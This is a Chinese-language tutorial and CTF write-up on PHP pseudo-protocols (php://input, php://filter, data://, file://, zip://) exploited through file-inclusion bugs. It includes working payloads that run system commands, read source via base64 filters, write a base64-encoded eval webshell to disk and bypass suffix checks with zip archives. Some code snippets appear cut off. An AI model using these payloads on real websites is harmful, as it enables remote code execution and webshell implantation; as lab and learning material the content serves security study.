php伪协议
[TOC]
php伪协议
php://伪协议是php提供的一些输入输出流访问功能,允许访问php的输入输出流,标准输入输出和错误描述符,内存中,磁盘备份的临时文件流,以及可以操作其他读取和写入文件的过滤器。
首先看到题目提示传个file,遂/?file=…一个随意参数,而后得到源代码
1 | <?php |
发现有include_once函数;
include_once():在脚本执行期间包含并运行指定文件。该函数和include 函数类似,两者唯一的区别是 使用该函数的时候,php会加检查指定文件是否已经被包含过,如果是,则不会再被包含。
于是利用伪协议构造,
php://filter/convert.base64-encode/resource=flag.php
得到经过Base64加密的flag,解密即可。
常见的php伪协议
1)file:// 访问本地文件系统
2)http:// 访问HTTP(S)网址
3)ftp:// 访问FTP(S)URL
4)php:// 访问各个输出输入流
5)zlib:// 处理压缩流
6)data:// 读取数据
7)glob:// 查找匹配的文件路径模式
8)phar:// PHP归档
9)rar:// RAR数据压缩
协议详细:
一、环境概要:
PHP伪协议指的是PHP所支持的协议与封装协议,在web渗透漏洞利用中常用于配合文件包含进行web攻击,从而获取网站权限。
1.php.ini配置文件参数:
allow_url_fopen :on #默认开启 ,表示允许url里的封装协议访问文件;
allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;
2.常用伪协议条件及方法
3.注意点
①各个伪协议适用php版本不尽相同,以下php版本在5.2~5.7之间疯狂来回切换,到最后已经无法总结各协议实验成功所使用的php版本。总之:php>5.2.0
②以下所有实例均使用Firefox浏览器
二、伪协议实例
1.php://input
php://input 是可以访问请求原始数据的只读流。在POST 请求的情况下,由于 php://input 不依赖于特定的 php.ini 指令,可以使用它代替 $HTTP_RAW_POST_DATA。
php://input (执行post中的命令)
注意点
①input必须以post请求
②enctype=“multipart/form-data” 的时候 php://input 是无效的
③allow_url_include=on
实例一:php://input将文件包含漏洞变成代码执行漏洞
①目标网站存在包含漏洞
1 | <?php @include($_GET["file"])?> |
②使用php://input,将执行代码通过在POST data中提交
1 | <?php system('ipconfig');?> |
实例二:php://input利用文件包含写入shell
①目标网站存在包含漏洞
1 | <?php @include($_GET["file"])?> |
②使用php://input,将执行代码通过在POST data中提交
1 | #post方式提交 |
执行成功会在当前目录下生成一句话shell,可直接连接
实例三:php://input协议直接写入shell
①含有php://input的代码漏洞文件:
1 | <?php |
POST直接传参执行php代码:
同理,这里在post数据提交生成shell的代码,会在同级目录下生成shell:
1 | echo file_put_contents("ceshi.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4=")); |
需要注意的是,此方法使用条件为:
1 | 1.allow_url_include = On |
2.data:URL代码执行
将攻击代码转换为data:URL形式进行攻击,以传递相应格式的数据用来执行PHP代码。为了防止直接在URL连接中的一些敏感字符被waf检测拦截,可将攻击代码进行base64编码。
#文件包含代码:
1 | <?php include $_GET['file']?> |
访问执行:
1 | 127.0.0.1/1.php?file=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg== |
条件:allow_url_include = on&allow_url_fopen()=on& PHP >= 5.2.0
3.php://filter读取源代码
php://filter用于读取网站源码。读取php文件源码内容(直接包含脚本格式文件会解析无法直接获取文件源码)。用法:
1 | http://192.168.1.3/1.php?file=php://filter/read=convert.base64-encode/resource=1.php |
1 | php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php (使用base64读取源文件) |
有时题目会需要我们必须包含某个字符串
技巧是php://filter伪协议可以套一层协议
比如我们需要包含woofers这个字符串:php://filter/read=convert.base64-encode/woofers/resource=index
4.file://物理路径包含文件
file:// 协议在allow_url_fopen,allow_url_include都为off的情况下也可以正常使用:
1 | http://192.168.1.3/1.php?filename=file:///C:\\phpStudy\\WWW\\fileinclude\\2\\1.txt |
file://机器的IP地址/目录/文件(这个后面不一定需要跟文件,如果只写一个目录的话就是查看该目录下有哪些文件)
对于本地机器,机器的IP地址变成127.0.0.1或localhost或干脆什么也不写。
5.data://:利用文件包含&data://可进行命令执行
1 | http://192.168.1.3/1.php?filename=data://text/plain,%3C?php%20system(%27whoami%27);?%3E |
data协议就是会把后面的一段字符串当成php代码区执行,所以读取flag.php的文件就可以看到flag了
例如:
1 | ?c=data://text/plain,<?php system("tac flag.php");?> |
php://data/plain;base64,XXXX(base64编码后的数据)
data:text/plain,XXX
可能的编码的问题:
1 | <?php phpinfo();?> |
在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法:
1.不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。
2.添加空格改变base64编码。
3.将+号换成%2b
其实不需要通过base64编码来实现!!!
将
1 | <?php phpinfo();?> |
改变成url编码。这样浏览器可以识别!
6.zip://绕过文件包含下的附加后缀
以下两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况,如果要包含非预定文件后缀的文件,可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了,而且还要考虑GPC,限制比较严重。除此之外,可以通过zip协议和phar协议来包含文件,突破附加后缀限制。
验证包含对象文件后缀是否为jpg,如果是才进行包含
1 | <?php |
#直接为包含对象添加jpg后缀,然后进行包含
绕过方法:
绕过方法:
①实战情况下往目标站点上传zip文件,里面压缩着一个jpg格式的php脚本。
②构造zip://php.zip#php.jpg,进行zip://伪协议绕过后缀名限制。这里将压缩文件里面的内容修改为在当前目录下生成一句话即可getshell。
1 | http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg |